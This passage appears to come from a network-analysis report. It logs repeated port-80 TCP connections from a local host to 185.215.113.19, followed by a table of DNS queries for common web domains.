Jul 26, 2024 13:53:25.769233942 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.774240017 CEST	80	63543	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:25.774590969 CEST	80	63542	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:25.774717093 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.774854898 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.775196075 CEST	63542	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:25.803175926 CEST	80	63543	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:26.599256992 CEST	80	63543	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:26.599375963 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.602246046 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.602579117 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.612260103 CEST	80	63544	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:26.612364054 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.612565994 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.612957001 CEST	80	63543	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:26.613080978 CEST	63543	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:26.627919912 CEST	80	63544	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:27.396845102 CEST	80	63544	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:27.397264004 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.520376921 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.520787954 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.525990009 CEST	80	63545	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:27.526174068 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.526376963 CEST	80	63544	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:27.526454926 CEST	63544	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.526716948 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:27.533354998 CEST	80	63545	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:28.272721052 CEST	80	63545	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:28.272809982 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:28.275851011 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:28.276108027 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:28.283759117 CEST	80	63546	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:28.283816099 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:28.284719944 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:28.285861969 CEST	80	63545	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:28.289787054 CEST	80	63546	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:28.292390108 CEST	63545	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.113720894 CEST	80	63546	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:29.113806009 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.231112957 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.231365919 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.236273050 CEST	80	63547	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:29.236366034 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.236710072 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.238672972 CEST	80	63546	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:29.238742113 CEST	63546	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:29.241843939 CEST	80	63547	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:29.997462034 CEST	80	63547	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.000263929 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.003627062 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.004019022 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.011728048 CEST	80	63548	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.011918068 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.012310982 CEST	80	63547	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.012312889 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.012538910 CEST	63547	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.019974947 CEST	80	63548	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.772031069 CEST	80	63548	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.772077084 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.880286932 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.880623102 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.885538101 CEST	80	63548	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.885735989 CEST	63548	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.885785103 CEST	80	63549	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:30.885957956 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.886076927 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:30.891233921 CEST	80	63549	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:31.647439957 CEST	80	63549	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:31.647536993 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.650183916 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.650435925 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.663995028 CEST	80	63550	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:31.664192915 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.664300919 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.670490980 CEST	80	63549	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:31.670593977 CEST	63549	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:31.670629978 CEST	80	63550	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:32.415828943 CEST	80	63550	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:32.416102886 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.530203104 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.530504942 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.535778999 CEST	80	63550	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:32.535917044 CEST	63550	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.536288977 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:32.536478996 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.536691904 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:32.541480064 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.231203079 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:33.232441902 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:33.236377954 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:33.851315975 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.852361917 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.855407953 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.855621099 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.856169939 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.856416941 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.858443022 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.858601093 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.862469912 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:33.864438057 CEST	80	63552	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.864581108 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.864836931 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:33.869724035 CEST	80	63552	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.885145903 CEST	80	63551	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:33.885293961 CEST	63551	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.656971931 CEST	80	63552	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:34.657094002 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.763237953 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.763508081 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.793411970 CEST	80	63553	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:34.794914961 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.795321941 CEST	80	63552	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:34.795347929 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.795537949 CEST	63552	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:34.801147938 CEST	80	63553	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:35.572011948 CEST	80	63553	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:35.572099924 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.574914932 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.575158119 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.580910921 CEST	80	63553	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:35.580971003 CEST	63553	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.581468105 CEST	80	63554	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:35.581564903 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.581804037 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:35.586688995 CEST	80	63554	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:36.361432076 CEST	80	63554	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:36.361601114 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.473668098 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.474011898 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.479527950 CEST	80	63555	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:36.479763985 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.480007887 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.490375042 CEST	80	63554	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:36.490607977 CEST	63554	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:36.493529081 CEST	80	63555	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:37.298810959 CEST	80	63555	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:37.298901081 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.301784992 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.302069902 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.307562113 CEST	80	63556	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:37.307594061 CEST	80	63555	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:37.307791948 CEST	63555	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.307810068 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.307931900 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:37.313770056 CEST	80	63556	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.064114094 CEST	80	63556	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.064182997 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.185015917 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.185395956 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.190515995 CEST	80	63557	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.190963984 CEST	80	63556	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.196888924 CEST	63556	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.196935892 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.197194099 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.202011108 CEST	80	63557	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.980626106 CEST	80	63557	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.983218908 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.986207962 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.986471891 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.991337061 CEST	80	63558	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.991466999 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.991688013 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.992341042 CEST	80	63557	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:38.992511034 CEST	63557	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:38.996494055 CEST	80	63558	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:39.762382030 CEST	80	63558	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:39.762487888 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.877681017 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.877948999 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.883228064 CEST	80	63559	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:39.883331060 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.883687973 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.887286901 CEST	80	63558	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:39.887375116 CEST	63558	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:39.889170885 CEST	80	63559	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:40.938013077 CEST	80	63559	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:40.938227892 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.941175938 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.941176891 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.943190098 CEST	80	63559	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:40.943370104 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.947109938 CEST	80	63560	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:40.947194099 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.947405100 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.950782061 CEST	80	63559	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:40.950922966 CEST	63559	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:40.952965021 CEST	80	63560	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:41.759244919 CEST	80	63560	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:41.759394884 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:41.868740082 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:41.869025946 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:41.874036074 CEST	80	63561	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:41.874139071 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:41.874268055 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:41.879657030 CEST	80	63561	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:41.884016991 CEST	80	63560	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:41.884088993 CEST	63560	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.679784060 CEST	80	63561	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:42.680176973 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.682531118 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.682714939 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.687560081 CEST	80	63562	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:42.689610004 CEST	80	63561	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:42.690784931 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.690973043 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.692527056 CEST	63561	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:42.695899963 CEST	80	63562	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:43.335575104 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:43.340678930 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:43.497656107 CEST	80	63562	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:43.499034882 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.619590044 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.619872093 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.627016068 CEST	80	63563	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:43.627073050 CEST	80	63562	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:43.627207994 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.627221107 CEST	63562	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.627459049 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:43.634040117 CEST	80	63563	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:44.019808054 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:53:44.025286913 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:53:44.402529001 CEST	80	63563	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:44.402760983 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.405881882 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.406204939 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.411369085 CEST	80	63564	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:44.411382914 CEST	80	63563	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:44.411493063 CEST	63563	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.411533117 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.411791086 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:44.416660070 CEST	80	63564	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:45.449131966 CEST	80	63564	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:45.449249983 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.450375080 CEST	80	63564	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:45.450853109 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.556452036 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.556617022 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.561487913 CEST	80	63565	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:45.561671019 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.561959982 CEST	80	63564	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:45.562002897 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.562746048 CEST	63564	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:45.567341089 CEST	80	63565	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:46.380636930 CEST	80	63565	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:46.380732059 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.383723021 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.384088993 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.389065027 CEST	80	63566	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:46.389164925 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.389280081 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.394251108 CEST	80	63565	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:46.394377947 CEST	63565	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:46.394884109 CEST	80	63566	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:47.147538900 CEST	80	63566	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:47.147715092 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.265330076 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.265731096 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.272846937 CEST	80	63567	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:47.272984982 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.273245096 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.284010887 CEST	80	63566	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:47.284099102 CEST	63566	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:47.284357071 CEST	80	63567	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.047663927 CEST	80	63567	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.047748089 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.051327944 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.051609039 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.056657076 CEST	80	63567	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.056730032 CEST	63567	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.057115078 CEST	80	63568	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.057362080 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.057647943 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.063164949 CEST	80	63568	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.805744886 CEST	80	63568	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.805974007 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.916886091 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.917357922 CEST	63569	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.922302961 CEST	80	63569	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.922389984 CEST	80	63568	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:48.922518969 CEST	63568	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.922606945 CEST	63569	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.923057079 CEST	63569	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:48.929207087 CEST	80	63569	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:49.478696108 CEST	63569	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:49.481739044 CEST	63570	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:49.487034082 CEST	80	63570	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:49.487405062 CEST	63570	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:49.487618923 CEST	63570	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:49.495713949 CEST	80	63570	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:50.245295048 CEST	80	63570	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:50.245479107 CEST	63570	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:50.367902994 CEST	63570	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:50.368033886 CEST	63571	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:50.374986887 CEST	80	63571	185.215.113.19	192.168.2.6
Jul 26, 2024 13:53:50.375112057 CEST	63571	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:53:50.375432968 CEST	63571	80	192.168.2.6	185.215.113.19

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 13:48:45.432765961 CEST	192.168.2.6	1.1.1.1	0xce8f	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 26, 2024 13:49:11.201256037 CEST	192.168.2.6	1.1.1.1	0xd521	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:14.450155020 CEST	192.168.2.6	1.1.1.1	0xe396	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:16.721652985 CEST	192.168.2.6	1.1.1.1	0x58ee	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.744513988 CEST	192.168.2.6	1.1.1.1	0x5501	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:19.783662081 CEST	192.168.2.6	1.1.1.1	0x6d45	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:20.693198919 CEST	192.168.2.6	1.1.1.1	0x1437	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:20.864984989 CEST	192.168.2.6	1.1.1.1	0xc4be	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:20.879450083 CEST	192.168.2.6	1.1.1.1	0x16ea	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 13:49:21.762195110 CEST	192.168.2.6	1.1.1.1	0x2f63	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:21.764431000 CEST	192.168.2.6	1.1.1.1	0x53c1	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:21.769522905 CEST	192.168.2.6	1.1.1.1	0xe648	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:30.366710901 CEST	192.168.2.6	1.1.1.1	0x1bb6	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.305803061 CEST	192.168.2.6	1.1.1.1	0x3b89	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:34.332149029 CEST	192.168.2.6	1.1.1.1	0x87d3	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 26, 2024 13:49:36.413800001 CEST	192.168.2.6	1.1.1.1	0x2090	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:37.947066069 CEST	192.168.2.6	1.1.1.1	0xb304	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.293247938 CEST	192.168.2.6	1.1.1.1	0x2eac	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:48.301968098 CEST	192.168.2.6	1.1.1.1	0x3d12	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
